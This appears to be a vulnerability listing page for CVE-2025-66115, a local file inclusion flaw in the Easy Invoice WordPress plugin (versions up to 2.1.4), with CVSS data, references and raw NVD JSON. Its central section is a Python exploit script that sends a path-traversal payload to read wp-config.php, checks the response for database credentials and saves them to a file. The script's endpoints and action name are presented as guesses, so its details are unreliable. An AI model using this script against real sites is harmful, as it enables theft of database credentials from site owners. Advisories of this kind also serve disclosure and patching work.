CVE-2025-66115

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in MatrixAddons Easy Invoice easy-invoice allows PHP Local File Inclusion.This issue affects Easy Invoice: from n/a through <= 2.1.4.

CVSS Details

CVSS Score

6.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Easy Invoice <= 2.1.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-66115 PoC - WordPress Easy Invoice LFI
# Target: WordPress site with Easy Invoice plugin <= 2.1.4

target = "http://target-wordpress-site.com"

# LFI payload to read wp-config.php
lfi_payload = "../../../../../../wp-config.php"

# Common vulnerable endpoints
vulnerable_paths = [
    "/wp-admin/admin-ajax.php",
    "/wp-content/plugins/easy-invoice/includes/file.php",
    "/wp-content/plugins/easy-invoice/ajax.php"
]

# Check each potential endpoint
for path in vulnerable_paths:
    url = f"{target}{path}"
    params = {
        "action": "easy_invoice_file_include",
        "file": lfi_payload
    }
    
    try:
        response = requests.get(url, params=params, timeout=10)
        if "DB_NAME" in response.text or "DB_USER" in response.text:
            print(f"[!] Vulnerable endpoint found: {url}")
            print(f"[+] Extracted config content length: {len(response.text)}")
            # Save extracted content
            with open("extracted_config.txt", "w") as f:
                f.write(response.text)
            print("[+] Configuration saved to extracted_config.txt")
    except requests.RequestException as e:
        print(f"[-] Error testing {url}: {e}")

print("[*] PoC execution completed")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66115
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66115
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66115/
[4] VulDB https://vuldb.com/cve/CVE-2025-66115
[5] https://patchstack.com/database/Wordpress/Plugin/easy-invoice/vulnerability/wordpress-easy-invoice-plugin-2-1-4-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66115", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:53.440", "lastModified": "2026-04-27T18:16:36.743", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in MatrixAddons Easy Invoice easy-invoice allows PHP Local File Inclusion.This issue affects Easy Invoice: from n/a through <= 2.1.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/easy-invoice/vulnerability/wordpress-easy-invoice-plugin-2-1-4-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}